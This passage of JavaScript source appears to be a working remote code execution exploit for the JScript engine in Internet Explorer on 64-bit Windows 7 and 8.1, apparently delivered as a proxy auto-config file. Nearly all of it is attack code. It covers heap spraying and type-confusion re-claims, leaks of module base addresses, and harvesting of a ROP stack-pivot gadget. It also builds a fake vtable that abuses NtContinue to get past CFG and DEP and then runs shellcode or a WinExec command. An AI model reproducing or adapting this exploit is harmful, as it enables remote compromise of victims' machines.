NameListAnchorCount = 5000; // 20000 was needed prior to using GC at the start of the exploit. Performance went from around 4 seconds to 700ms when moved to 400. 5000 was the sweet spot on Win7 IE8 64-bit between speed and stability.
}
else {
ReClaimNameList = ReClaimBackupNameLists;
if(PacFile) {
NameListAnchorCount = 10000;
}
else {
NameListAnchorCount = 400; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
}
}
CollectGarbage(); // This GC is essential for re-claims with randomized LFH on precise regions (such as VVAL re-claim), but it also allows for the GcBlock re-claim count to be drastically reduced (otherwise 20000+ was needed, as in the original exploit)
// Trigger LFH for a size of 0x970
for(var i = 0; i < 50; i++) { // Only 50 are needed to activate LFH, but spraying additional allocations seems to help clog existing free memory regions on the heap and improve LFH re-claim reliability on Win8.1+
Temp = new Object();
Temp[Array(570).join('A')] = 1; // Property name size of 0x239 (569 chars with a default +1 added as a terminator) will produce the desired re-claim allocation size.
LFHBlocks.push(Temp);
}
// Re-claim with type confusion NameLists
NewUntrackedVarSet();
DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
NameListAnchors[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
NameListAnchors[i]["\u0005"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
}
AnchorObjectsBackup = NameListAnchors; // Backup name list anchor objects (this will allow re-claim to "stick").
// Leak final VVAL address from one of the NameLists
var LeakedVvalAddress = 0;
var TypeConfusionAligned = false;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) {
LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number
TypeConfusionAligned = true;
break;
}
}
if(!TypeConfusionAligned) {
DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer");
return 0;
}
LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress); // In Windows 7, the leaked heap pointer could always be encoded in 32-bits. On Windows 8.1 IE11, it often consumes more. By leaking the final VVAL pointer with a double float we can get the bits we need. Experimenting with this I learned all JS numbers are 52 bits in size. In the event that the leaked pointer has its highest bits set it may be an invalid double. This hasn't be an issue on Windows 7 x64, x86, or Windows 8.1 x64 during my testing.
if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) {
DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)");
return 0;
}
// Re-claim with VAR-referencing-VAR NameLists
var PrimaryVvalPropName = "AAAAAAAA"; // 16 bytes for size of GcBlock double linked list pointers
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0); // Type 0x80 is a VAR reference
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A";
// Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
// Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
var LeakedVvalVar;
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
break;
}
}
DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
// Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
ReClaimNameList(0x11, "A");
if(LeakedVvalVar + "" != 0x11) {
DebugLog("Failed to extract final VVAL index via re-claim");
return 0;
}
// Create the mutable variable which will be used throughout the remainder of the exploit and re=claim with VAR-referencing-VAR to it for dereference
ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0));
PrimaryVvalPropName = "AAAAAAAA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(var i = 0; i < 46; i++) {
PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0); // +0x40 is the offset to property name field of 64-bit VVAL struct. Type 0x80 is a VAR reference
}
while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to correct length
// Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
NewUntrackedVarSet();
for(var i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
for(var i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
if(UntrackedVarSet[i] + "" == 0x22) {
MutableVar = UntrackedVarSet[i];
break;
}
}
}
// Verify the mutable var can be changed via simple re-claim
ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0));
if(MutableVar + "" != 0x33) {
DebugLog("Failed to verify mutable variable modification via re-claim");
return 0;
}
// Test arbitrary read primitive
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
if(LeakByte64(MutableVarAddress) != 0x8) { // Change mutable var to a BSTR pointing at itself.
DebugLog("Memory leak test failed");
return 0;
}
// Derive jscript.dll base from leaked Object vtable
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakQword64(ObjectAddress);
var JScriptBase = DiveModuleBase64(VtableAddress);
if(!JScriptBase.low && !JScriptBase.high) {
DebugLog("Failed to leak JScript.dll base address");
return 0;
}
else {
DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16));
}
// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]);
if(!Kernel32Base.low && !Kernel32Base.high) {
DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed.");
return 0;
}
else {
DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16));
}
var VirtualProtectAddress;
var WinExecAddress;
if(PayloadType == "shellcode") {
// Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!VirtualProtect
VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]); // VirtualProtect
if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect");
return 0;
}
DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
// Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!WinExec
WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]);
if(!WinExecAddress.low && !WinExecAddress.high) {
DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec");
return 0;
}
}
var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]);
if(!MsvcrtBase.low && !MsvcrtBase.high) {
DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed.");
return 0;
}
var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]);
if(!NtdllBase.low && !NtdllBase.high) {
DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed.");
return 0;
}
var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]);
if(!NtContinueAddress.low && !NtContinueAddress.high) {
DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue");
return 0;
}
// Leak an authentic stack pointer to avoid triggering the stack pivot protection built into CFG on Windows 8.1+ within the kernel layer of NTDLL.DLL!NtContinue
var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24)); // Get CSession from offset 24
var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80));
LeakedStackPtr.low += 0x8; // Stack alignment needs to be at a 0x10 boundary prior to CALL
// Construct a fake vtable and fake object for use within mutable var property name
var FakeVtable = CreateFakeVtable(NtContinueAddress);
FakeVtable = FakeVtable.substr(0, FakeVtable.length);
var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable);
var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40);
var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96);
var Context;
if(PayloadType == "shellcode") {
// Allocate memory for shellcode, API output and an artificial stack
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr);
/*
Artificial stack data for use beyond the NTDLL.DLL!NtContinue pivot.
NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET
RCX = Shellcode address
RDX = Shellcode size
R8 = 0x40
R9 = Leaked address of BSTR to hold out param
RSP = Real stack pointer
R11 = Artificial stack
|-----------------------------| ^
| 2MB stack space (heap) | |
|-----------------------------| |
| Heap header/BSTR len align | |
|-----------------------------| |
| KERNEL32.DLL!VirtualProtect | <----------|
|-----------------------------|
| Shellcode return address ]
|-----------------------------|
*/
var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1)
var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory.
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]);
ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]);
ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]);
ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length);
var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr);
ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding.
var WritableStr = "";
WritableStr += DwordArrayToBytes([0]);
WritableStr = WritableStr.substr(0, WritableStr.length);
var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr);
// Dynamically resolve ROP gadget for stack pivot via export hint
var StackPivotAddress;
var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]); // tanhf
var MagicOffset;
if(!HintExportAddress.low && !HintExportAddress.high) {
DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf");
return 0;
}
if(WindowsVersion <= 7) {
MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) ??_7bad_cast@@6B@:0x0007a588
}
else {
MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0
}
// 49:8BE3 | mov rsp,r11
// C3 | ret
StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset);
if(!StackPivotAddress.low && !StackPivotAddress.high) {
DebugLog("Failed to resolve address of stack pivot gadget");
return 0;
}
DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16));
Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress);
DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16));
}
else if(PayloadType == "winexec") {
CommandStr = CommandStr.substr(0, CommandStr.length);
var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr);
Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress);
}
var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field.
/*
jscript.dll!Object.Typeof method
mov rdi,qword ptr ds:[rdi+8]
mov rax,qword ptr ds:[rdi]
mov rbx,qword ptr ds:[rax+138]
mov rcx,rbx
call qword ptr ds:[7FFA554EC628]
mov rcx,rdi
call rbx
Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then
RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer.
Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG
for validation.
Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this
address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch
instruction (CALL RBX) whch will execute the RIP hijack.
Most notably, since a class method will always be passed its "this" pointer as its first parameter (which
in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register.
Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case
a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of
which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control.
Malicious VVAL property name
------------------
| VAR.Type | <-- Mutable var
|----------------| |
| VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name
|----------------| |
| VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field.
|----------------| |
| Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here
|----------------|
| VAR.NextPtr | <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object.
|----------------|
| CONTEXT | <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0.
|________________|
*/
ReClaimNameList(0, RipHijackPropName);
var TotalTime = (new Date().getTime() - ScriptTimeStart);
DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
typeof MutableVar;
}
function FindProxyForURL(url, host){
return "DIRECT";
}
Exploit();